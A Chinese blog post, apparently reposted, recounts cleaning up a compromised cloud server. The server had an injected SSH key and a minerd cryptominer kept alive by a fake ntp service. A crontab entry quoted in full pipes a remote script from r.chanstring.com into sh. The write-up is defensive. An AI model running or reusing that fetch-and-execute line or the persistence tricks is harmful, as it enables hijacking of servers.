早上上班时发现阿里云报告了一个异地登录警告,查看发现为早上 9 点多的时候有条异地 ip 登录服务器;

    登录服务器,之前服务器上传了本地公钥,可以免密码登录,可是登录的时候发现 ssh 还要输密码,登录后发现 ~/.ssh 目录下有个 KHK75NE0iq 的文件,替换了之前上传的公钥,第一想法是有人登录了服务器,并且上传了自己的公钥,这样就可以免**登录了;

    analysis_1、netstat -na | grep -w 22

    发现只有一个连接,报告中的 ip 暂时没有登录,删除了 ~/.ssh 目录下的公钥,并修改了 root 密码,天真的欧以为事情就这样结束了,谁知道这仅仅是开始……

    由于服务器被侵入,还是很紧张的,svn 代码服务就放在这个服务器上的,如果被恶意删除,估计偶就可以打包回家了,过了没多久,发现 ~/.ssh 目录下这个 KHK75NE0iq 又出现了,这时候意识到服务器可能是遭到了恶意程序篡改了。

    由于服务器进程还是挺多的,查看 ps aux 过滤有点难,小公司所以我觉得专门定制的恶意程序基本不可能,也就是说不太可能是冲着代码和上面部署的服务来的,一种是操控侵入的服务器去做一些事情,要么就是恶意的删除(幸好这么无聊的人还是少的,还是要干点事情的);

    考虑到最坏的情况,赶紧在阿里云上给服务器生成了磁盘快照,防止被恶意删除,然后开始着手排查这个病毒了。

    analysis_2、netstat -na

    写了个脚本,监听 22 端口,过滤出长连接的 ip,如果有别的 IP 连接就会看到,这样就可以判断出密码可能泄露了;

    analysis_3、top

    在监听 22 端口的同时,竟然没有恶意删除程序,也没有破坏服务,那么可能是冲着 cpu 来的,使用 top 发现一个 minerd 的程序正在疯狂使用 cpu,cpu 达到了 80%,判断了这个进程不是项目有关的,第一时间 kill 掉了这个进程,可是没过多久这个进程就又自己起来了;

    analysis_4、crontab

    minerd 程序 kill 之后自己又启动了,crontab 可以做到,查看了下 crontab -l 果然发现有条 

###################################################################

*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh

###################################################################

 

之后 google 了这个 minerd 程序,发现也有不少服务器遭到了攻击,利用jenkins 8080 端口的漏洞获取到了服务器的控制权,并使用 cpu 挖矿;

http://security.stackexchange.com/questions/129448/how-can-i-kill-minerd-malware-on-an-aws-ec2-instance

挖矿

 

这上面的 lady 程序应该是之前的,查了一下,服务器上并没有这个服务,于是看了下 systemctl status 

进程数,发现:

挖矿

 

一个叫 ntp 的服务开启了 minerd 进程

挖矿

而且这个进程就是今天启动的,并且还开机自启。。。伪装成 ntp 也没谁了。。。

 

接下来就取消了 ntp 服务的开机自启,停止了 ntp 服务,kill 掉 了minerd 进程,产出了crontab 和文件,还有 /usr/sbin/ntp 。。。

     

转载于:https://my.oschina.net/u/2470065/blog/737870

相关文章: